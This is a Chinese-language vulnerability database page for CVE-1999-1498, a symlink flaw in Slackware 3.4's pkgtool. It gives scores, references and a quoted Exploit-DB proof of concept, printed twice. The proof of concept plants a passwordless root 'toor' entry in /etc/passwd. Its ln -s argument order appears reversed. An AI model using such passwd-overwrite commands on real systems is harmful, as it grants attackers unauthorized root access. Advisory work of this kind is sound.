CVE-1999-1498
CVSS3.6
发布时间 :1998-04-06 00:00:00
修订时间 :2008-09-05 16:19:40
NMCOES    

[原文]Slackware Linux 3.4 pkgtool allows local attacker to read and write to arbitrary files via a symlink attack on the reply file.


[CNNVD]Slackware pkgtool临时文件漏洞(CNNVD-199804-009)

        Slackware Linux3.4版本的pkgtool存在漏洞。本地用户可以通过回复文件的符号链接攻击读写任意文件。

- CVSS (基础分值)

CVSS分值: 3.6 [轻微(LOW)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1498
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1498
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199804-009
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/82
(VENDOR_ADVISORY)  BID  82

- 漏洞信息

Slackware pkgtool临时文件漏洞
低危 其他
1998-04-06 00:00:00 2005-10-20 00:00:00
本地  
        Slackware Linux3.4版本的pkgtool存在漏洞。本地用户可以通过回复文件的符号链接攻击读写任意文件。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (19074)

Slackware Linux 3.4 pkgtool temporary file Vulnerability (EDBID:19074)
linux local
1998-04-06 Verified
0 neonhaze
N/A [点击下载]
source: http://www.securityfocus.com/bid/82/info

pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.

$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd		

- 漏洞信息

13541
Slackware Linux pkgtool /tmp/reply Symlink Arbitrary File Overwrite
Local Access Required Race Condition
Loss of Integrity, Loss of Availability Workaround
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

1998-04-06 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Slackware pkgtool temporary file Vulnerability
Access Validation Error 82
No No
1998-04-06 12:00:00 2009-07-11 12:16:00
Made public by neonhaze <neonhaze@mailcity.com> and <bmacdonald@syd.auracom.com> in the BugTraq mailing list.

- 受影响的程序版本

Slackware Linux 3.4

- 漏洞讨论

pkgtool creates the file /tmp/reply insecurely and follows symbolic
links. An attacker can create a symbolic link from /tmp/reply to any file
and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.

- 漏洞利用

$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
&lt; wait for root to run pkgtool &gt;
$ echo toor::0:0::/:/bin/sh &gt; /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd

- 解决方案

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站